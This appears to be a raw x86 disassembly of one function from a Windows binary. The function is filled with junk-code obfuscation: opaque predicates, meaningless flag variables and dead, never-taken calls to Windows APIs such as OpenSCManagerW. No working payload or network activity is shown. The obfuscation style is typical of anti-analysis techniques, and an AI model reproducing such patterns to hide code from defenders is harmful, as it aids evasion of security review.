mov dword [ebp - 0xeec], eax
cmp dword [ebp - 0x428], 0xfffffff9
jge 0x1002bf67
mov dword [ebp - 0x4ec], 1
jmp 0x1002bf6e
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x1a0], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xde0]
cmp eax, dword [ebp - 0x1a0]
jl 0x1002bf9b
mov dword [ebp - 0x4f4], 1
jmp 0x1002bfa2
and dword [ebp - 0x4f4], 0
cmp dword [ebp - 0x4f4], 0xd1
jg 0x1002bfba
mov dword [ebp - 0x4fc], 1
jmp 0x1002bfc1
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x430]
cmp dword [ebp - 0x4fc], eax
jg 0x1002bfdb
mov dword [ebp - 0x504], 1
jmp 0x1002bfe2
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0x504]
cmp dword [ebp - 0x84], eax
jl 0x1002c00f
mov dword [ebp - 0x50c], 1
jmp 0x1002c016
and dword [ebp - 0x50c], 0
cmp dword [ebp - 0x50c], 5
jge 0x1002c02b
mov dword [ebp - 0x514], 1
jmp 0x1002c032
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0
jne 0x1002c059
mov eax, 0x4e266bc5
test eax, eax
jne 0x1002c059
and dword [ebp - 0xca0], 0
jmp 0x1002c063
mov dword [ebp - 0xca0], 1
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0xfd4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x430]
cmp ecx, dword [ebp + eax - 0xde0]
jne 0x1002c08f
mov dword [ebp - 0x51c], 1
jmp 0x1002c096
and dword [ebp - 0x51c], 0
mov dword [ebp - 0x1a0], 0
mov eax, dword [ebp - 0x1a0]
add eax, dword [ebp - 0x51c]
cmp eax, 0xffffffff
jg 0x1002c0bd
mov dword [ebp - 0x524], 1
jmp 0x1002c0c4
and dword [ebp - 0x524], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xdb8]
cmp eax, dword [ebp - 0x524]
jne 0x1002c0e4
mov dword [ebp - 0x52c], 1
jmp 0x1002c0eb
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x3d4]
cmp dword [ebp - 0x52c], eax
jg 0x1002c105
mov dword [ebp - 0x534], 1
jmp 0x1002c10c
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x3d4]
cmp eax, dword [ebp - 0x534]
je 0x1002c126
mov dword [ebp - 0x53c], 1
jmp 0x1002c12d
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x84], 0
jmp 0x1002c152
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jg 0x1002c17b
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x1002c179
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
jmp 0x1002c145
jmp 0x1002bd4a
push dword [ebp - 0xb10]
push dword [ebp - 0xb14]
call dword [0x1007d428]
mov dword [ebp - 0xb4c], eax
mov dword [ebp - 0xb1c], 0x75dcec3d
push 2
lea ecx, [ebp - 0x4b0]
call fcn.1000a704
mov dword [ebp - 4], 0x43
mov dword [ebp - 0x3dc], 0
jmp 0x1002c1cf
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 2
jge 0x1002c1f1
push dword [ebp - 0x3dc]
lea ecx, [ebp - 0x4b0]
call fcn.1000a7a3
mov dword [eax], 0xe5ccc90a
jmp 0x1002c1c2
cmp dword [ebp - 0xb1c], 0
je 0x1002c4d0
mov dword [ebp - 0x3ec], 4
mov dword [ebp - 0x57c], 6
mov dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x3ec]
dec eax
mov dword [ebp - 0x3ec], eax
mov eax, 0x98e64e6d
test eax, eax
je 0x1002c250
push 1
lea ecx, [ebp - 0x4b0]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x1002c250
mov dword [ebp - 0x544], 1
jmp 0x1002c257
and dword [ebp - 0x544], 0
cmp dword [ebp - 0x544], 0xffffffff
je 0x1002c26c
mov dword [ebp - 0x54c], 1
jmp 0x1002c273
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x54c], 7
jl 0x1002c288
mov dword [ebp - 0x554], 1
jmp 0x1002c28f
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0xef4], eax
push 1
lea ecx, [ebp - 0x4b0]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x554]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x4b0]
call fcn.1000a7a3
push 2
pop eax
test eax, eax
je 0x1002c4b9
mov dword [ebp - 0x574], 0xffffffff
mov dword [ebp - 0xb2c], 1
mov dword [ebp - 0xb34], 0
mov dword [ebp - 0x3e4], 0
jmp 0x1002c2ff
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 2
jge 0x1002c31b
mov eax, dword [ebp - 0x3e4]
mov dword [ebp + eax*4 - 0xc88], 0x954e3f15
jmp 0x1002c2f2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc88], 0xe86f
je 0x1002c33a
mov dword [ebp - 0x55c], 1
jmp 0x1002c341
and dword [ebp - 0x55c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc88]
cmp eax, dword [ebp - 0x3ec]
je 0x1002c362
mov dword [ebp - 0xb24], 1
jmp 0x1002c369
and dword [ebp - 0xb24], 0
push 1
lea ecx, [ebp - 0x4b0]
call fcn.1000a7a3
mov eax, dword [ebp - 0x574]
imul eax, dword [ebp - 0x55c]
cmp eax, 0x5126ed4b
jge 0x1002c396
mov dword [ebp - 0x564], 1
jmp 0x1002c39d
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x101c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc88]
cmp eax, dword [ebp - 0x438]
jl 0x1002c3d6
mov dword [ebp - 0x56c], 1
jmp 0x1002c3dd
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0x209
je 0x1002c3f5
mov dword [ebp - 0x440], 1
jmp 0x1002c3fc
and dword [ebp - 0x440], 0
push 1
lea ecx, [ebp - 0x4b0]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x440]
mov dword [eax], ecx
cmp dword [ebp - 0x440], 0
jne 0x1002c423
cmp dword [ebp - 0x574], 0
je 0x1002c446
mov byte [ebp - 0x14f], 0
movzx eax, byte [ebp - 0x14f]
test eax, eax
je 0x1002c444
push 0
push 0
push 0x91c
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
jmp 0x1002c4ad
mov eax, 0xf1ba1372
sub eax, dword [ebp - 0x57c]
jne 0x1002c45f
mov dword [ebp - 0x448], 1
jmp 0x1002c466
and dword [ebp - 0x448], 0
push 1
lea ecx, [ebp - 0x4b0]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x448]
mov dword [eax], ecx
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0xb2c], eax
mov byte [ebp - 0x12d], 0
movzx eax, byte [ebp - 0x12d]
test eax, eax
je 0x1002c4ad
push 0
push 0
push 0x129f
push 0x1aa7
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov dword [ebp - 0xb34], 0x31cf6a12
jmp 0x1002c4ce
mov esi, dword [ebp - 0x3ec]
push 1
lea ecx, [ebp - 0x4b0]
call fcn.1000a7a3
mov dword [eax], esi
jmp 0x1002c4f0
mov dword [ebp - 0xb3c], 0xfffc
mov dword [ebp - 0xb44], 0
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0xb44], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4b0]
call fcn.1000a787
mov eax, dword [ebp - 0xb4c]
jmp 0x1002c509
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret